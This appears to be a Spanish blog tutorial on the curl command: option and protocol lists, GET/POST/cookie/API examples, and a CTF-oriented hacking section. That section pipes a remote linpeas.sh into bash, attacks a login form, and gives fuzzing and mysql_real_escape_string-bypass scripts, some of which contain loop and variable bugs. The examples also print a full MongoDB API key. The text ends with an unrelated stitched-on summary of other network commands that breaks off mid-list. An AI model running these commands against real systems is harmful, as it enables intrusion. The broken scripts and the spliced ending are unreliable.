El comando curl admite las siguientes opciones de línea de comandos:
–abstract-unix-socket <ruta>: se utiliza para conectarse a través de un socket de dominio Unix abstracto en lugar de una red.
–anyauth: se utiliza para ordenar a curl que autentique el método por sí mismo para utilizar el método más seguro. Esta utilidad es una utilidad opcional “–basic, –digest, –ntlm y negotiate”, que se utiliza para establecer un método de autenticación específico.
-a, –append: se utiliza para cargar archivos. Agrega el archivo en lugar de sobrescribirlo. Si el archivo indicado no existe en el servidor, creará uno.
–basic: especifica el uso de la autenticación básica HTTP . Es la opción predeterminada del comando curl. Es útil para anular las configuraciones anteriores.
–cacert <archivo>: se especifica para usar el archivo de certificado en particular para verificar el par. Los archivos pueden tener varios certificados de CA. El formato estándar para los certificados es PEM, por lo que todos los certificados deben estar en él.
–capath <dir>: Se especifica para usar el directorio en particular para verificar el par. Podemos especificar múltiples rutas separándolas con dos puntos (:) como “ruta: ruta2:ruta3”. El formato estándar para los certificados es PEM, por lo que todos los certificados deben estar en él.
–cert-status: se utiliza para verificar el estado del certificado del servidor. Utiliza la solicitud de estado del certificado o el protocolo TLS de OCSP.
–cert-type <type>: especifica el tipo de certificado curl proporcionado. Estos certificados pueden estar en formato PEM, DER y ENG. El valor predeterminado es PEM. Si se especifica varias veces, curl tomará el último valor.
-E, –cert <certificado[: contraseña]>: se especifica para utilizar el archivo de certificado de cliente al obtener un archivo a través de cualquier protocolo basado en SSL, como HTTPS, FTPS, etc.
–ciphers <lista de cifrados>: Se utiliza para seleccionar los cifrados a utilizar en la conexión.
–compressed-ssh: se utiliza para habilitar la compresión SSH incorporada. Esta opción se considerará una solicitud del servidor, por lo que el servidor puede aceptarla o no.
–compressed: se utiliza para solicitar una respuesta comprimida mediante los algoritmos curl y guarda el documento sin comprimir. Esta opción enviará un informe sobre la codificación curl no compatible.
-K, –config <archivo>: se utiliza para describir un archivo de texto para leer argumentos de curl. curl utilizará los argumentos de la línea de comandos del archivo de texto.
–connect-timeout <segundos>: se utiliza para especificar el tiempo máximo en segundos para el tiempo de espera de la conexión curl.
–connect-to <HOST1:PORT1:HOST2:PORT2>: se utiliza para crear una solicitud al par de host y puerto indicado; de lo contrario, se conectará al siguiente par. Esta opción es una herramienta útil para realizar solicitudes directas a un servidor específico.
-C, –continue-at <offset>: se utiliza para continuar o reanudar una transferencia de archivo anterior en el desplazamiento indicado.
-c, –cookie-jar <nombre_archivo>: Se utiliza para especificar un archivo particular en el que queremos escribir todas las cookies después de una operación exitosa.
-b, –cookie <data>: Se utiliza para reenviar datos al servidor HTTP en el encabezado de la cookie.
–create-dirs: Se utiliza junto con la opción ‘-o?’, creará la jerarquía de directorio local requerida.
–crlf (FTP SMTP): se utiliza para convertir LF a CRLF en la carga. Es una herramienta muy útil para MVS (OS/390).
–crlfile <archivo>: Se utiliza para especificar (en formato PEM) una Lista de Revocación de Certificados.
–data-ascii <data>: Es un alias para la opción ?-d?.
–delegation <NIVEL>: Se utiliza para establecer el NIVEL para reconocer al servidor lo que tiene permitido delegar cuando se trata de credenciales de usuario.
–digest: Se utiliza para habilitar la autenticación HTTP Digest.
-q, –disable: si se usa como primer argumento, ignorará el archivo de configuración curlrc.
–dns-interface <interfaz>: Se utiliza para reconocer al servidor para enviar las solicitudes DNS salientes.
–dns-servers <direcciones>: se utiliza para especificar los servidores DNS en lugar de los servidores predeterminados.
-f, –fail: se utiliza para hacer que curl falle silenciosamente ante errores del servidor.
-F, –form <nombre=contenido>: Se utiliza para emular un formulario completado enviado por el usuario.
-P, –ftp-port <dirección>: se utiliza para revertir los roles de escucha predeterminados al conectarse con FTP.
–ftp-ssl-ccc-mode <activo/pasivo>: Se utiliza para establecer el modo CCC.
-G, –get: Se utiliza para especificar datos con la opción ?-d? que se utilizarán en una solicitud HTTP GET en lugar de una solicitud POST.
-h, –help: Se utiliza para mostrar el manual de ayuda con una breve descripción del uso y opciones de soporte.
-0, –http1.0: Se especifica para utilizar la versión HTTP 1.0.
–ignore-content-length: se utiliza para ignorar el encabezado Content-Length.
-i, –include: Se utiliza para incluir los encabezados de respuestas HTTP.
-4, –ipv4: Se utiliza para resolver nombres en direcciones IPv4.
-6, –ipv6: Se utiliza para resolver nombres en direcciones IPv6.
Protocolos de curl
Curl admite varios protocolos:
- DICT: Nos permite buscar palabras únicamente con diccionarios.
- FTP (S): Curl admite el protocolo FTP mediante una gran cantidad de herramientas y ajustes, con o sin TLS.
- ARCHIVO: Nos permite escribir y leer el archivo local. Curl no permite acceder remotamente a file://URL, pero funcionará cuando esté activo en Microsoft Windows con el enfoque UNC nativo.
- GOPHER (S): Recupera archivos.
- HTTP (S): Curl admite HTTP mediante numerosas variaciones y opciones. Puede hablar en las versiones HTTP 0.9, 1.0, 1.1, 2 y 3 según la línea de comandos y las opciones de compilación precisas.
- IMAP (S): Curl descarga los correos electrónicos para nosotros con el protocolo de lectura de correo. Con o sin TLS.
- LDAP (S): Curl puede implementar la búsqueda de directorio para nosotros con o sin usar TLS.
- MQTT: Curl es compatible con la versión 3 de MQTT. Descargar en MQTT es lo mismo que “suscribirse” a cualquier tema, y publicar/subir contenido es lo mismo que “publicar” en cualquier tema. MQTT no es compatible con TLS.
- POP3 (S): Descargar a través de un servidor pop3 representa recibir correo sin o con TLS.
- RTMP (S): El RTMP o Protocolo de mensajería en tiempo real se utiliza principalmente para la transmisión de medios por servidor.
- RTSP: Curl admite las descargas 1.0 de RTSP.
- SCP: Curl admite la versión de transferencia de dos scp de SCP.
- SFTP: Curl admite SFTP a través de la segunda versión de SSH.
- SMB (S): Curl admite la versión 1 de SMB para descarga y carga.
- SMTP (S): Subir contenidos a cualquier servidor SMTP significa transferir un correo electrónico sin o con TLS.
- TELNET: Al informar a curl que traiga una URL de telnet se inicia una sesión interactiva en la que transfiere lo que lee por stdin y da como resultado lo que le transfiere el servidor.
- TFTP: Curl puede implementar cargas y descargas TFTP.
Instalación del comando curl
El comando curl viene con la mayoría de las distribuciones de Linux . Pero, si el sistema no trae curl por defecto, deberá instalarlo manualmente. Para instalar curl, ejecute los siguientes comandos:
sudo apt install curl
Verifique la instalación ejecutando el siguiente comando:
curl --version
El comando anterior mostrará la versión instalada del comando curl.
Nota: Los sitios web activos en los siguientes comandos funcionan al momento de escribir este artículo, pero las URL y la tecnología pueden cambiar en cualquier momento. Demos un vistaso rápido de lo que puedes ahacer:
Parámetro GET
Las variables HTTP GET se pueden configurar agregándolas a la URL.
curl http://10.10.10.10/index.php?sessionid=vn0g4d94rs09rgpqga85r9bnia
Parámetros POST
Las variables HTTP POST se pueden configurar utilizando el parámetro -d (–data).
Aquí hay un ejemplo de prueba de inicio de sesión simple:
$ curl --data "email=test@test.com&password=test" http://10.10.10.10/login.php
Cookies
cURL tiene un motor de cookies completo que se puede utilizar para almacenar y cargar las cookies que se le pasan desde un servidor entre sesiones:
$ curl -b oldcookies.txt -c newcookies.txt http://10.10.10.10/login.php
También puedes especificar tus propias cookies usando el parámetro -b:
$ curl -b "PHPSESSID=vn0g4d94rs09rgpqga85r9bnia" http://10.10.10.10/home.php
Agentes de usuario de cURL
$ curl -A "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" http://10.10.10.10/login.php
Guarda la respuesta del servidor en un archivo.
$ curl -o payload.sh http://10.10.10.10/payload.sh
Descarga un archivo a la carpeta actual
$ curl -O http://10.10.10.10/payload.zip
Sigue HTTP/1.1 302 redirecciones encontradas
curl -L http://10.10.10.10/profile.php
Encabezados de respuesta de salida de cURL a STDOUT
$ curl -i http://10.10.10.10/profile.php
cURL ve información detallada de depuración (encabezados de respuesta y otros detalles de depuración – STD2)
$ curl -v http://10.10.10.10/profile.php
Buscando en la web
El uso más sencillo de curl es la visualización de sitios web y archivos en la línea de comandos, que es también la forma en que la mayoría de los estudiantes de informática aprenden sobre curl en primer lugar.
Las opciones curl (también conocidas como banderas ) comienzan con un guión (-) o dos (–) y toman argumentos que son cadenas, URL o rutas de archivo.
DOMINIO | DESCRIPCIÓN |
---|---|
curl https://achirou.com/ | Devuelve el archivo fuente de una URL https://achirou.com/ |
curl --list-only "http://socialdance.stanford.edu/music/" | Lista de contenidos del directorio http://socialdance.stanford.edu/music/ |
curl -l | Abreviación decurl --list-only |
curl --location "https://aveclagare.org/mp3" | Redirigir la consulta según lo especificado en el código de respuesta de estado HTTP 3xx. Este directorio URL, https://aveclagare.org/mp3 , no devuelve la lista de archivos MP3 usando el curl --list-only comando, pero sí con curl --location . |
curl -L | Abreviación de curl --location |
curl --fail-early "ftp://ftp.corel.com" | Falla rápidamente al resolver ftp://ftp.corel.com |
curl --head "https://achirou.com/" | Obtener encabezados HTTP de la URL https://achirou.com/ |
curl -I | Abreviación decurl --head |
curl --head --show-error "https://achirou.com/holamundo/" | Compruebe si el sitio https://achirou.com/holamundo/ está inactivo |
curl --head --location "https://lnkd.in/dQ2hhwz3" | grep Location | Expanda una URL acortada o disfrazada: https://lnkd.in/dQ2hhwz3 redirige a una entrada de este blog. Esto también es útil cuando desea descubrir los sitios web reales detrás de los hipervínculos. |
Descargando archivos
Los siguientes comandos son útiles cuando deseas extraer contenido de sitios web. Los siguientes comandos devuelven resultados significativos al momento de escribirlos. Cambie los parámetros para adaptarlos a sus propósitos.
DOMINIO | DESCRIPCIÓN |
---|---|
curl --output hello.html https://achirou.com/ | Envía la URL https://achirou.com/ a un archivo hello.html |
curl -o | La abreviatura de curl --output. -o solo funciona si se coloca antes del parámetro de la URL de destino. |
curl --remote-name "https://core.ac.uk/download/pdf/71450528.pdf" | Descargue un archivo de https://core.ac.uk/download/pdf/71450528.pdf y guarde el archivo sin cambiar su nombre. |
curl -"https://core.ac.uk/download/pdf/71450528.pdf “ --output notas_hack.pdf | Descargue un archivo de https://core.ac.uk/download/pdf/71450528.pdf y cámbiele el nombre. notas_hack.pdf Alternativamente, puede reemplazarlo --output con > . Reemplazar --output con -o no funciona aquí. |
curl --remote-name --continue-at - "https://core.ac.uk/download/pdf/71450528.pdf" | Continuar con la descarga parcial de un archivo https://core.ac.uk/download/pdf/71450528.pdf |
curl "https://en.wikipedia.org/wiki/{Linux,Windows,OSX}" --output "file_#1.html" | Descargue archivos desde múltiples ubicaciones y asígneles un nombre según el formato. file_(operating system).html |
curl "https://www.gutenberg.org/files/[158-161]/[158-161]-0.{txt,zip}" --output "bk#1_#2.#3" | Descargar una secuencia de archivos y resultados. bk158_158.txt, bk158_158.zip, …, bk161_161.zip |
curl --location http://socialdance.stanford.edu/music/ | grep '.mp4' | cut -d \" -f 8 | while read i; do curl http://socialdance.stanford.edu/music/"${i}" -o "${i##*/}"; done | Descargue todos los archivos MP4 desde la URL http://socialdance.stanford.edu/music/ . Aquí, use grep para filtrar los archivos MP4, cut para encontrar la ruta a los archivos requeridos (el delimitador es ” y la cadena de ruta estaba en el octavo delimitador), un while bucle con curl ayuda a descargar los archivos de forma recursiva.Necesitará modificar los comandos grep y cut para descargar otros tipos de archivos y que localice hipervínculos relevantes en el código fuente HTML de la URL que especifique. |
Comandos GET curl
Las variables HTTP GET se pueden configurar agregándolas a la URL.
$ curl http://10.10.10.10/index.php?sessionid=vn0g4d94rs09rgpqga85r9bnia
Utilice estos comandos para realizar una solicitud GET mediante curl. Los comandos curl GET pueden requerir que pases claves de autorización a través de la bandera --header
.
También puede realizar otras solicitudes HTTP como PUT y DELETE usando curl y los indicadores apropiados.
DOMINIO | DESCRIPCIÓN |
---|---|
curl --request GET "https://achirou.com/" | Obtenga la fuente HTML de la URL https://achirou.com/ y envíela a la consola del terminal. |
curl -X | Abreviación decurl --request |
curl --request GET 'https://us-east-1.aws.data.mongodb-api.com/app/viewdata-kqgls/endpoint/view?secret=ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbSq8pzbpI8Lo' --header 'Content-Type: application/json' | Obtenga todos los documentos de MongoDB de la viewdata-kqgls con la cadena secreta proporcionada y el encabezado como parámetros de consulta. El resultado esperado es un objeto JSON que contiene todos los documentos. |
curl --request GET 'https://us-east-1.aws.data.mongodb-api.com/app/viewdata-kqgls/endpoint/view?secret=ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbSq8pzbpI8Lo&id=636b5046e54ce11139fd8b96' --header 'Content-Type: application/json' | Obtenga un documento MongoDB de la viewdata-kqgls con el ID, la cadena secreta y el encabezado del tipo de contenido proporcionados como parámetros de consulta.El resultado esperado es el documento, Get a MongoDB document from the viewdata-kqgls app with the given ID, secret string, and content type header as query parameters.The expected result is the document, if it exists:{“_id”:”636b5046e54ce11139fd8b96″,”name”:” Alvaro “,”age”:37,”greeting”:”Greetings, everyone.”} |
Comandos POST curl
Las variables HTTP POST se pueden configurar utilizando el parámetro -d (–data).
Aquí hay un ejemplo de prueba de inicio de sesión simple:
$ curl --data "email=test@test.com&password=test" http://10.10.10.10/login.php
Utilice estos comandos para realizar una solicitud POST utilizando curl. Los comandos curl POST pueden requerir que el --header
indicador pase claves de autorización.
También puede realizar otras solicitudes HTTP como PUT y DELETE usando curl y los indicadores apropiados.
DOMINIO | DESCRIPCIÓN |
---|---|
curl --header | Pasar un encabezado a la URL del servidor |
curl -H | Abreviación decurl --header |
curl --request POST "https://achirou.com/ " -d 'some data' | Obtenga la fuente HTML de la URL https://achirou.com/ |
curl -X | Abreviación decurl --request |
curl --request POST 'https://data.mongodb-api.com/app/data-meetp/endpoint/data/v1/action/insertOne' --header 'Content-Type: application/json' --header 'api-key: ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbSq8pzbpI8Lo' --data-raw '{"dataSource": "Cluster0","database": "curlhacks","collection": "curlhacks","document": { "name": "Alvaro", "age": 37, "greeting": "Greetings, everyone." }}' | Cargue a través de la API de datos de MongoDB el objeto Javascript dado a una base de datos y a una colección denominada curlhacks . El resultado esperado: {"insertedId":"636b5046e54ce11139fd8b96"} esto significa que curlhacks se ha registrado el nuevo objeto Javascript como un documento MongoDB con el ID proporcionado. |
curl --request POST 'https://data.mongodb-api.com/app/data-meetp/endpoint/data/v1/action/findOne' --header 'Content-Type: application/json' --header 'api-key: ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbSq8pzbpI8Lo' --data-raw '{"dataSource": "Cluster0","database": "curlhacks","collection": "curlhacks","filter": { "name": "Alvaro" }}' | Solicite a través de la API de datos de MongoDB la base de datos y la colección, ambas denominadas curlhacks , para un documento con el par clave-valor {"name": "Alice Bob"} .El resultado esperado es el documento solicitado: {"document":{"_id":"636b5046e54ce11139fd8b96","name":"Alice Alvaro","age":37,"greeting":"Greetings, everyone."}} |
curl --request POST 'https://data.mongodb-api.com/app/data-meetp/endpoint/data/v1/action/deleteOne' --header 'Content-Type: application/json' --header 'api-key: ZAEOuvuEVLF5ll3kGP8FFkAj1GMKB8xu1jRx5D7210gXiZHa5agdbSq8pzbpI8Lo' --data-raw '{"dataSource": "Cluster0","database": "curlhacks","collection": "curlhacks","filter": { "_id": { "$oid": "636b4f88fd82bd55d90962c6" } }}' | Elimine a través de la API de datos de MongoDB un documento con el ID proporcionado de la base de datos y la colección, ambos denominados curlhacks .El resultado esperado: {"deletedCount":1} esto significa que curlhacks se ha eliminado un documento de MongoDB, concretamente el especificado. |
Interacción API
Los siguientes comandos pueden ayudarle a automatizar las solicitudes de consultas web, como los envíos de formularios de Google.
DOMINIO | DESCRIPCIÓN |
---|---|
curl "https://gitlab.com/api/v4/projects" | Consultar un punto final API |
curl --header "Auth-Token:$DB_APP_TOKEN" "https://example.com/api/v3/endpoint" | Pase un encabezado a la URL de un servidor. Un encabezado es un campo de una solicitud o respuesta HTTP que pasa contexto y metadatos adicionales sobre la solicitud o respuesta. En este ejemplo, el encabezado es un token de autorización. |
curl -H | Abreviación decurl --header |
curl --data "Alvaro" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" | Envíe datos sin procesar codificados en URL "Alvaro" a un punto final de API, en este caso un formulario de Google. |
curl -d | Abreviación decurl --data |
curl --data "Alvaro" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" > output.html | Envíe datos sin procesar codificados en URL "Alvaro" a un punto final de API, en este caso un formulario de Google, y envíelos a los datos de salida.html devueltos por el servidor. |
curl --form "emailAddress=test@myemail.com" --form "submit=Submit" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" > output.html | Emule el envío de una dirección de correo electrónico a un punto final API (formulario de Google aquí) y luego presione el botón Enviar. El archivo de salida, output.html tendrá un campo de dirección de correo electrónico completo. |
curl -F | Abreviación decurl --form |
curl --form "entry.123456789=</Users/user1/Downloads/playlist.m3u" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" > output.html | Envíe a un punto final API (formulario de Google aquí) el contenido del archivo /Users/user1/Downloads/playlist.m3u del parámetro entry.123456789 . El símbolo < aquí significa que está enviando datos al servidor, a diferencia de > para los datos que recibe del servidor. Puede encontrar los parámetros del formulario entry.123456789 (el número no puede tener nueve dígitos) utilizando el Inspector de su navegador. En los navegadores basados en Chrome, haga clic derecho en la página y seleccione “Inspeccionar” para ver el Inspector. El archivo de salida, output.html mostrará el contenido del archivo en el campo correspondiente. |
curl --form "entry.123456789=</Users/user1/Downloads/playlist.m3u" --form "emailAddress=test@myemail.com" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" | Envíe más de un dato al punto final de API determinado. Este comando envía el correo electrónico y el archivo de lista de reproducción especificados. La salida de este comando estará en la terminal. |
curl --data "entry.123456789=</Users/user1/Downloads/playlist.m3u&emailAddress=test@myemail.com" "https://docs.google.com/forms/d/e/[GoogleFormID]/formResponse" | De manera similar a lo anterior, envíe más de un dato al punto final de API determinado. Este comando envía el correo electrónico y la cadena de datos sin procesar " </Users/user1/Downloads/playlist.m3u" .La salida de este comando estará en la terminal. |
curl --form "input=@pic1.jpg" "https://www.iloveimg.com/resize-image" > output.html | Envíe un archivo /Users/user1/Downloads/pic1.jpg como datos de formulario al punto final de API determinado. Ambos comandos son equivalentes. Envían un archivo de imagen a https://www.iloveimg.com/resize-imag. Utilice @ si el archivo está en el directorio de trabajo actual (obtenido a través de pwd ); No utilice @ si proporciona la ruta completa del directorio del archivo.El archivo de salida, output.html mostrará las opciones de cambio de tamaño de imagen devueltas por la API. |
Cookies
cURL tiene un motor de cookies completo que se puede utilizar para almacenar y cargar las cookies que se le pasan desde un servidor entre sesiones:
$ curl -b oldcookies.txt -c newcookies.txt http://10.10.10.10/login.php
También puedes especificar tus propias cookies usando el parámetro -b:
$ curl -b "PHPSESSID=vn0g4d94rs09rgpqga85r9bnia" http://10.10.10.10/home.php
Parece que la sola acción de enviar cookies al sitio web de destino no afecta el diseño HTML del sitio web. Sin embargo, curl admite los siguientes métodos:
DOMINIO | DESCRIPCIÓN |
---|---|
curl --cookie "registered=yes" | Enviar "registered=yes" como cookie |
curl --cookie "name=Alvaro;email=test@myemail.com" | Enviar “nombre=Alvaro ” y "email=test@myemail.com" como cookies |
curl --cookie import_cookies.txt | Enviar el contenido de import_cookies.txt como cookie(s).Como la mayoría de los navegadores ya no admiten el “Set-Cookie:” prefijo, formatee sus cookies en el archivo como:key1=value1;key2=value2 |
curl -b | Abreviación de--cookie |
curl --cookie-jar mycookies.txt | Escriba cookies mycookies.txt después de ejecutar la operación curl en otras banderas |
curl -c | Abreviación de--cookie-jar |
curl --dump-header headers_and_cookies.txt https://achirou.com/ | Envíe encabezados HTTP y datos de cookies de https://achirou.com/ aheaders_and_cookies.txt |
curl -D | Abreviación decurl --dump-header |
curl Script
Puede utilizar comandos curl en scripts bash. Aquí hay algunos scripts de ejemplo que involucran comandos curl:
EJEMPLO | DESCRIPCIÓN |
---|---|
paquete-instalación-curl.sh | Instalar paquetes con curl |
curl-url-time.sh | Consultar el tiempo de respuesta de un sitio web |
formato curl-json.sh | Embellecer la salida json para la respuesta curl |
curl-remote-scripts.sh | curl ejecutar scripts remotos |
curl avanzado
Aquí hay algunos comandos para ajustar sus operaciones de rizo.
DOMINIO | DESCRIPCIÓN |
---|---|
curl -h | Mostrar comandos de ayuda |
curl --version | Mostrar versión rizo |
curl -v ftp://ftp.afip.com/ | Obtenga resultados detallados mientras se conecta a la URL ftp://ftp.afip.com/ . Puede usar este indicador -v junto con otros indicadores como --head, --location . |
curl --trace ftp_X.txt https://twitter.com/ | Obtenga detalles de los paquetes capturados en la conexión a la URL https://twitter.com/ |
curl -s https://twitter.com/ > twitter.html | Descargue la URL https://twitter.com/ en modo silencioso, sin mostrar el progreso |
curl -L "https://twitter.com/search" --connect-timeout 0.1 | Especifique el tiempo máximo en segundos (0,1 segundos en este ejemplo) permitido para conectarse a la URL https://twitter.com/search |
curl -s -w '%{remote_ip} %{time_total} %{http_code} \n' -o /dev/null https://achirou.com/ | Devuelve los valores de los parámetros especificados como una cadena '%{remote_ip} %{time_total} %{http_code} \n' en la salida del terminal y suprime todas las demás salidas del sistema. |
curl -r 0-99 https://achirou.com/ | Obtenga los primeros 100 bytes de la URL https://achirou.com/ |
curl -r -500 https://achirou.com/ | Obtenga los últimos 500 bytes de la URL https://achirou.com/ |
curl -r 0-99 ftp://ftp.afip.com | Obtenga los primeros 100 bytes de una URL FTP. curl solo admite rangos con posiciones iniciales y finales explícitas. |
curl -m 0.1 | Especifique el tiempo máximo de operación en segundos (0,1 s aquí) |
Ejemplo de solicitud curl
Concluyamos este artículo con un truco de solicitud POST curl. Proceda bajo su propio riesgo.
DOMINIO | DESCRIPCIÓN | . |
---|---|---|
curl -X POST https://textbelt.com/text --data-urlencode phone='+[area code][phone number]' --data-urlencode message=' Hola Mundo =).' -d key=textbelt | Envía un mensaje de texto SMS gratuito a un número de teléfono en formato E.164 a través de https://textbelt.com/ con la clave API textbelt . Si tiene una clave API personalizada, reemplace ” textbelt ” con ella. |
Obtener el contenido de la URL especificada
Para obtener el contenido de una URL específica , ejecute el comando curl, seguido de la URL. Considere el siguiente comando:
curl https://achirou.com
El comando anterior obtendrá los datos de la página especificada. Observe la siguiente captura de pantalla del resultado:
En el resultado anterior, podemos ver que se están obteniendo los datos de la página de la URL indicada. Para detener la ejecución, presione las teclas CTRL+C.
Guardar datos en un archivo específico
Para guardar los datos en un archivo específico, pase la opción ‘-o’ seguida del directorio, el nombre del archivo y la URL de la siguiente manera:
curl -o <directorio>/<nombre de archivo> <URL>
Considere el siguiente comando:
curl -o alvaro.html https://achirou.com
El comando anterior guardará los datos de la página en el archivo ‘alvaro.html’. Observe el resultado que se muestra a continuación:
Desde el comando anterior, podemos ver la cantidad total de datos descargados, datos recibidos, tiempo promedio y algunas otras estadísticas sobre los datos.
Para verificar los datos descargados, abra el archivo ejecutando el comando cat
cat alvaro.html
Considere la siguiente instantánea de salida:
Consulta de encabezados HTTP
Los encabezados HTTP contienen información adicional que permite al servidor web descargar esta información. Para consultar los encabezados HTTP de un sitio web, ejecute el comando con la opción ‘-I’ de la siguiente manera:
curl -I https://achirou.com
El comando anterior producirá el siguiente resultado:
Hackear con cURL
Ahora que hemos cubierto la sintaxis básica y los casos de uso, aquí hay algunas aplicaciones de hacking prácticas que son muy útiles en Hackthebox o cajas CTF.
Usando cURL para canalizar un scipt remoto (linpeas.sh) directamente a bash:
$ curl -sSk "http://10.10.10.10/linpeas.sh" | bash
Atacar un formulario de inicio de sesión con cURL
$ curl --data "email=test@test.com&password=test" http://10.10.10.10/login.php
Creando nuevos usuarios con cURL
$ curl --data "name=test&email=test@test.com&password=test" http://10.10.10.10/newuser.php
Fuzzing servidores web con cURL
A menudo, al realizar una evaluación de un servidor web, intentaremos desencadenar condiciones de error que proporcionarán información más profunda sobre los procesos y el software subyacentes. cURL puede ser una poderosa herramienta de fuzzing para generar estos mensajes de error de casos extremos.
Fuzzing con límites de longitud de URI / GET de longitud de parámetro con cURL
El siguiente script se puede utilizar para crear un servidor web con una URL larga, realizar un seguimiento de los cambios en la salida y escribir la salida en un archivo. Está destinado a ser una base para que construya un fuzzer adecuado para su propósito usando cURL y Bash. Puede modificar la URL para difuminar un URI o un parámetro GET.
Aquí está el script de bash shell:
#!/bin/bash
echo "args: <URL> <Start Length #> <End Length #> <Output Filepath>"
echo "Length Lines Words Bytes Filename"
echo "---------------------------------"
for ((i = $2; x <= $3; i++))
do
fuzz=""
for ((x = 1; x <= $i; x++))
do
fuzz+="A"
done
#echo "COUNT: $i $fuzz"
#echo "${1}${fuzz}"
echo "${i}" | { tr -d '\n' ; curl "${1}${fuzz}" -o ${4} 2>/dev/null | wc ${4}; }
done
A continuación se muestra un ejemplo de cómo se ve en ejecución:
./fuzz_url.sh http://10.10.10.10/ 1000 1000000 output.txt
args: <URL> <Start Length #> <End Length #> <Output Filepath>
Length Lines Words Bytes Filename
---------------------------------
1000 9 31 274 output.txt
...
...
100000 11 37 343 output.txt
100001 11 37 343 output.txt
100002 11 37 343 output.txt
100003 11 37 343 output.txt
100004 11 37 343 output.txt
100005 11 37 343 output.txt
Fuzzing límites de longitud del parámetro POST con cURL
El siguiente script se puede utilizar para modificar los parámetros POST de un servidor web y escribir la salida en un archivo y realizar un seguimiento de los cambios en esa salida. Está destinado a ser una base para que construya un fuzzer adecuado para su propósito usando cURL y Bash.
Aquí está el script de bash shell:
#!/bin/bash
echo "args: <URL> <Start Length #> <End Length #> <Output Filepath> <Post data: var=value&var2=valuefuzz>"
echo "Length Lines Words Bytes Filename"
echo "---------------------------------"
for ((i = $2; x <= $3; i++))
do
fuzz=""
for ((x = 1; x <= $i; x++))
do
fuzz+="A"
done
#echo "COUNT: $i $fuzz"
#echo "${5}${fuzz}"
echo "${i}" | { tr -d '\n' ; curl "${1}" -o ${4} -d "${5}${fuzz}" 2>/dev/null | wc ${4}; }
done
A continuación se muestra un ejemplo de cómo se ve en ejecución:
./fuzz_post.sh http://10.10.10.10/ 1000 1000000 output.txt "user=test&password=test"
args: <URL> <Start Length #> <End Length #> <Output Filepath>
Length Lines Words Bytes Filename
---------------------------------
1000 9 31 274 output.txt
...
...
100000 11 37 343 output.txt
100001 11 37 343 output.txt
Verifique si el inicio de sesión de un usuario es correcto en un script Bash
El siguiente script se puede utilizar para verificar que un nombre de usuario y un inicio de sesión sean correctos. Está destinado a ser una base para que construya un fuzzer adecuado para su propósito usando cURL y Bash. Verificará los caracteres de longitud de la respuesta para ver si es una respuesta válida. Deberá ajustar el recuento de caracteres esperado para su aplicación.
#!/bin/bash
result=($(curl --data "email=$2&password=$3" "$1" 2>/dev/null | wc -c))
echo $result
if [ "$result" == '0' ]
then
echo 'zero'
else
echo 'NOT zero'
fi
Aquí está el guión en acción:
$ ./check_user.sh http://10.10.10.10/login.php test@test.com testpassword
0
NOT zero
Automatizar la creación de usuarios y probar la omisión de mysql_real_escape_string
Está destinado a ser una base para que construya un fuzzer adecuado usando cURL y Bash. Aquí hay un script bash que creé para un CTF para validar una teoría que tenía sobre el uso del método PHP mysql_real_escape_string:
#!/bin/bash
# Test for mysql_real_escape_string
email=test@test.com
password=1234567890123456789012345678901234567890123456789012345678901234567890123456789
fuzz="뽜’’AA"
name="‘¿’’AA"
ip="10.10.10.10"
echo "Creating User: ${email}"
curl -i -b 'cookies.txt' -c 'cookies.txt' -d "name=${name}&email=${email}&password=${password}&type=Admin" "http://${ip}/index.php" 2>/dev/null
echo " "
echo "============================================"
echo "Login as User"
echo "============================================"
curl -i -c 'cookies.txt' -d "email=${email}&password=${password}&type=Admin" "http://${ip}/index.php" 2>/dev/null | grep 'location'
echo " "
echo "============================================"
echo "Check user profile with cookie"
echo "============================================"
curl -b 'cookies.txt' "http://${ip}/index.php" -v 2>/dev/null | grep 'td align="center"'
echo " "
echo "============================================"
echo "Change Name"
echo "============================================"
curl -b 'cookies.txt' -d "name=${fuzz}&type=Admin" "http://${1}/index.php"
echo " "
curl -b 'cookies.txt' "http://${ip}/profile.php" 2>/dev/null | grep 'td align="center"'
echo " "
echo " DELETEING COOKIE "
rm cookies.txt
echo "============================================"
echo "Relogin as User - did password change?"
echo "============================================"
curl -i -c 'cookies.txt' -d "email=${email}&password=${password}&type=Admin" "http://${ip}/index.php" 2>/dev/null | grep 'location'
echo " "
echo " DONE!"
echo " DELETEING COOKIE "
rm cookies.txt
El comando curl tiene más opciones que puedes explorar
curl –help
También te recomendamos consultar las páginas man:
man curl
Puntos clave del artículo y su explicación
1. Comando host
- Permite realizar consultas DNS y obtener información sobre direcciones IP, nombres de dominio, servidores de nombres, y registros específicos (CNAME, MX, TXT, etc.).
- Ejemplos prácticos:
host google.com # Obtiene la dirección IP de google.com. host -t ns google.com # Lista los servidores de nombres.
2. Comando hostname
- Muestra o configura el nombre del sistema en una red.
- Opciones destacadas:
-i
: Imprime la dirección IP asociada.-s
: Muestra el nombre corto del host.-d
: Muestra el dominio asociado.
- Ejemplo:
sudo hostname NuevoNombre # Cambia el nombre del sistema.
3. Comando whois
- Recupera información sobre registros de dominios y direcciones IP, incluyendo detalles del propietario, DNS, y fechas de registro.
- Ejemplo práctico:
whois example.com # Muestra detalles de registro del dominio.
4. Comando iwconfig
- Configura y monitorea redes inalámbricas.
- Opciones clave:
essid [nombre]
: Define el SSID de la red.mode [modo]
: Configura el modo de operación (Managed, Monitor, Ad-Hoc).freq [frecuencia]
: Especifica el canal o frecuencia.
- Ejemplo práctico:
iwconfig wlan0 essid "MiRed" key s:clave1234 # Conecta a una red.
5. Comando wget
- Descarga archivos de la web de forma no interactiva.
- Opciones destacadas:
-O [archivo]
: Guarda el archivo descargado con un nombre específico.-r
: Descarga sitios web completos de forma recursiva.
- Ejemplo práctico:
wget -O archivo.html https://example.com # Guarda la página en un archivo.
6. Comando mtr
- Combina
ping
ytraceroute
para analizar redes y detectar problemas en tiempo real. - Opciones clave:
-n
